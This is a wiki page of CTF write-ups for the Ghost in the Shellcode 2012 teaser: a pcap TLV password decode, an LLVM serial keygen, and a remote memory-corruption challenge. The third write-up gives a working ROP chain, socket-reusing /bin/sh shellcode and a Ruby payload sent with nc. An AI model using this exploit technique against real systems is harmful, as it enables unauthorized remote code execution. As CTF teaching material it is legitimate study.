Difference between revisions of "Gits2012teaser"
(→Solution) |
(→#1 TelAviv) |
||
| Line 33: | Line 33: | ||
The following Python script ([[Media:tlv.py.gz|tlv.py]]) decodes the password: | The following Python script ([[Media:tlv.py.gz|tlv.py]]) decodes the password: | ||
| − | + | <syntaxhighlight lang="python"> | |
| + | #!/usr/bin/env python | ||
# | # | ||
# http://ghostintheshellcode.com/ | # http://ghostintheshellcode.com/ | ||
| Line 98: | Line 99: | ||
sys.stdout.write(".") | sys.stdout.write(".") | ||
print | print | ||
| − | </ | + | </syntaxhighlight> |
<pre> | <pre> | ||
Revision as of 16:25, 8 January 2012
Contents
http://ghostintheshellcode.com/
Thanks to the organizers for those pretty nice teasers!
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
#1 TelAviv
Question
What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.
Solution
The file 7139a4ea239dcac655f7c38ca6a77b61.bin is a regular pcap file which contains a single TCP session.
The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:
- "GitS", probably some dummy data
- a NULL byte
- "Plague", potential username
- 233 remaining bytes, this is the actual password we're looking for
The hint (TeLaViv+) tells us that this password is probably encoded with Type-Length-Value (TLV) encoding. However, there was actually no type fields and the length of each field was one byte long.
The following Python script (tlv.py) decodes the password:
#!/usr/bin/env python # # http://ghostintheshellcode.com/ # Ghost in the Shellcode 2012 Teaser # # Challenge #1 TelAviv # # By Francois Deppierraz <francois@ctrlaltdel.ch> import sys from pprint import pprint from binascii import hexlify f = open("7139a4ea239dcac655f7c38ca6a77b61.bin") f.seek(0x244) # seek to the data of interest, offset found with wireshark data = f.read(233) # data size total_len = 0 packets = [] index=0 while index < len(data): length = ord(data[index]) packets.append(data[index+1:index+1+length]) index += length+1 total_len += length+1 # Ensure that all data was actually parsed assert total_len == len(data) print "Found %d packets: " % len(packets) for p in packets: print " ", for c in p: print hex(ord(c)), print print numbers = [[ord(c) for c in p] for p in packets] #print "Values: ", #pprint(numbers) #print # Sum all byte values for each packet (idea comes from the + sign in the hint TeLaViv+) sums = [sum(row) for row in numbers] print "Sums: " + repr(sums) print s = "".join([chr(c/2) for c in sums]) print "Divide by 2 and then convert to ASCII: " print s print print "Simple subsitution: " # "Dro Zkccgybn sc" to "The Password is" from_txt = "\":dro zkccgybn sc" to_txt = "\":the password is" assert len(from_txt) == len(to_txt) for c in s.lower(): idx = from_txt.find(c) if idx != -1: sys.stdout.write(to_txt[idx]) else: sys.stdout.write(".") print
$ ./tlv.py Found 37 packets: 0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1 0x57 0x21 0x57 0x1 0x1 0x12 0x1 0x4d 0x5d 0x1d 0x8 0xd 0x2 0x1b 0xa 0x18 0x2 0x1 0x5a 0x4 0x46 0x10 0x84 0x27 0x16 0x12 0x3 0x9d 0x22 0x5 0x1 0x1 0xb8 0x9 0x4 0x1 0x33 0x5d 0x38 0x5 0x1 0x5e 0xd 0x68 0x1f 0x50 0x2d 0x1a 0x20 0x2 0x9 0x2 0x90 0xc 0x20 0x10 0xf 0x1 0x3a 0x4 0x1 0x1 0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1 0x21 0x78 0x25 0x8 0x1d 0x4b 0x8 0x3 0x1 0x1a 0x21 0x2 0x3 0x19 0x25 0x4 0x1 0x1 0x5c 0x17 0x12 0x2 0x1 0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1 0x96 0x1a 0x29 0x5 0x3a 0x5 0x1 0x39 0x4 0x53 0xa 0x1 0x1 0x79 0x2 0x7 0x1b 0x1 0x37 0x1 0x3 0xe 0x18 0x17 0x6e 0x11 0x9 0x3 0x1 0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1 0x2 0xa7 0x10 0x10 0x12 0x13 0x2 0x4c 0x9 0x43 0x7 0xd 0x4 0x2a 0xd 0x78 0x5f 0x2 0x2b 0x7 0xd 0x1 0x74 0xd 0xe 0x9 0x2 0x2d 0xa6 0xd 0xb 0x1 0x6 0x9d 0x39 0x5 0x1 0xd5 0x9 0x38 0x6 0x2 0x2 0x1 0x1 0x2f 0x5 0xb 0x1 Sums: [136, 228, 222, 64, 180, 214, 198, 198, 206, 242, 196, 220, 64, 230, 198, 116, 64, 68, 136, 228, 222, 64, 156, 214, 64, 140, 230, 240, 218, 230, 64, 154, 242, 220, 222, 68, 64] Divide by 2 and then convert to ASCII: Dro Zkccgybn sc: "Dro Nk Fsxms Myno" Simple subsitution: the password is: "the da .i..i .ode"
#2 AL's Revenge
Question
Use your team GUID and generate a serial. (File)
Hint: File
Solution
- file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
- file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
- analyze disassembly, extract C representation:
int
VerifySerial(uint64_t name, uint64_t serial)
{
uint64_t a = 0x8000000000000000LL;
uint64_t b = 0xa348fccd93aea5a7LL;
uint64_t result = 0;
/* high order bit set? */
if (name & a)
a ^= b;
if (serial & a)
serial ^= b;
while (serial != 0) {
if (serial & 1)
result ^= name;
serial >>= 1;
name <<= 1;
if (name & a)
name ^= b;
}H
return (result == 1);
}
- it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
- lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
- The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
- lacking math package fu, implement a gaussian elimination manually:
class Numeric
def bits64
sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
end
end
def names(name)
p = 0xa348fccd93aea5a7
if (name >> 63) & 1 == 1
name ^= p
end
([name] + 63.times.map do |i|
name <<= 1
if (name >> 63) & 1 == 1
name ^= p
end
name
end).map(&:bits64)
end
class Array
def pivot
res = []
self[0].size.times.map do |i|
self.size.times.map do |j|
self[j][i]
end
end
end
def bitary_to_int
self.join.to_i(2)
end
end
class Eq < Array
attr_accessor :res
def initialize(ary, res)
self.replace(ary)
@res = res
end
def lead_zero
self.take_while{|e| e == 0}
end
def first_pos
self.index(1)
end
def subtract(o)
Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
end
end
class EqSys < Array
def initialize(ary, res=nil)
if !(Eq === ary[0]) && !ary.empty?
ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
end
self.replace(ary)
end
def sort_by_zeros
self.sort do |a, b|
a.lead_zero <=> b.lead_zero
end
end
def subtract_eq(eq)
pos = eq.first_pos
return self if not pos
EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
end
def elim
front = EqSys.new([])
cur = nil
rest = self.sort_by_zeros
while not rest.empty?
front << cur if cur
cur = rest.shift
front = front.subtract_eq(cur)
rest = rest.subtract_eq(cur)
rest = rest.sort_by_zeros
end
front << cur
front
end
def to_s
self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
end
end
require 'pp'
if __FILE__ == $0
ns = names(0x6638623261336134)
pv = ns.pivot
es = EqSys.new(pv, 1.bits64)
puts es.to_s
puts
r = es.elim
puts r.to_s
res = r.map{|e| e.res}.reverse
puts res.bitary_to_int.to_s(16)
s0 = r.pivot.last.reverse
puts s0.bitary_to_int.to_s(16)
puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
end
#3 Hackquest
Question
Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: Binary file
Hint: Partial source code
Solution
- Remote system running some sort of text adventure.
- Hint dropped source code partially (extremely helpful)
- Hint from irc: look at the items
- struct ItemInfo contains a union:
union
{
void* data;
LocationInfo* newLocation;
struct ItemInfo* newItem;
struct
{
ActionInfo* actionInfo;
char* requiredTarget;
} action;
struct
{
char* name;
struct ItemInfo* newItem;
} namedUnwrap;
} info;
- magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
- use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
(item->type == ITEM_UNWRAP))
{
sendMsg(s, "That item can't have a target.\n");
ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
sendMsg(s, item->message);
item->info.action.actionInfo->func(s);
showDesc = item->info.action.actionInfo->showDesc;
}
- if we "use letter on $target", we can make it call ->func()
- .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
- ->func aliases with .name
- the game asks us for our name, and stores this into a 31 byte static buffer
- whatever we use as name will be used as function address to be called -> we captured control flow
- ROP ensues:
- first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
- then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
- our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
- work around this problem by putting bootstrap shellcode into the static name buffer (see above)
- bootstrap code copies stack-relative buffer to our page, then transfers control:
leal 0x41(%esp),%esi # calc source from stack offset popl %edi # dest addr is already on stack pushl $0x41 # dest offset so that we don't get overwritten popl %ecx # duplicates as length addl %ecx,%edi # add offset push %edi # store dest for later rep movsl # copy popl %edi # retrieve old dest jmp *%edi # jump there
- remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
pushl %ecx # ecx was cleared by rep above, put 0 on stack
movl 0xAB(%esp),%ebx # get socket fd from stack offset
1:
pushl $0x3f # dup2 syscall number
popl %eax # into eax
int $0x80 # do syscall
inc %ecx # inc desc2
cmp $0x3,%cl # do for 0, 1, 2
jne 1b # repeat
popl %ecx # zero ecx = argv
mull %ecx # zero eax, edx = env
pushl $0x0068732f # /sh\0
pushl $0x6e69622f # /bin
movl %esp,%ebx # string arg
movb $0xb,%al # execve syscall number
int $0x80 # magic!
- cat key.txt
- all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000 # our page address
src = 0x804c2a0 # from 0x80498f4
sockoffset = 0xbc
p = [
# offset 0
"use letter on ",
# offset 14
0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
# offset 31
" " * (0x44 - 32), # fill
# offset 0x44
0x80486d4, # C mmap
0x8048db5, # L add $0x1c,%esp | ret
addr, # (void *addr,
4096, # size_t len,
1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, # int filedes,
0, # off_t off)
0, # filler, also possibly offset
0x80487d4, # C memcpy
addr, # L addr = shellcode
addr, # (void *dest,
src + 4, # const void *src,
200, # size_t n).
[
0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack
0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset
[0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number
0x58, # popl %eax # into eax
0xcd, 0x80, # int $0x80 # do syscall
0x41, # inc %ecx # inc desc2
0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2
0x75, 0xf5, # jne 1b # repeat
0x59, # popl %ecx # zero ecx = argv
0xf7, 0xe1, # mull %ecx # zero eax, edx = env
0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0
0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin
0x89, 0xe3, # movl %esp,%ebx # string arg
0xb0, 0x0b, # movb $0xb,%al # execve syscall number
0xcd, 0x80 # int $0x80 # magic!
]
]
shellcode = 0xc
# this lives at src
namelen = 20
name = [
# stack pivot
0x08049019, # add $0x9c,%esp | ret
# bootstrap shellcode
[
0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
0x5f, # popl %edi
0x6a, namelen, # pushl $XXX
0x59, # popl %ecx
0x01, 0xcf, # addl %ecx,%edi
0x57, # push %edi
0xf3, 0xa5, # rep movsl
0x5f, # popl %edi
0xff, 0xe7, # jmp *%edi
],
]
all = name +
[
"\n",
"get can\n",
"use can\n",
"go south\n",
"get letter\n",
] +
p + ["\n"]
def collapse(a)
a.map do |e|
case e
when Numeric
[e].pack("V")
when Array
e.pack('C*')
else
e.to_s
end
end.join
end
if __FILE__ == $0
cp = collapse(all)
# puts cp.size
print cp
end

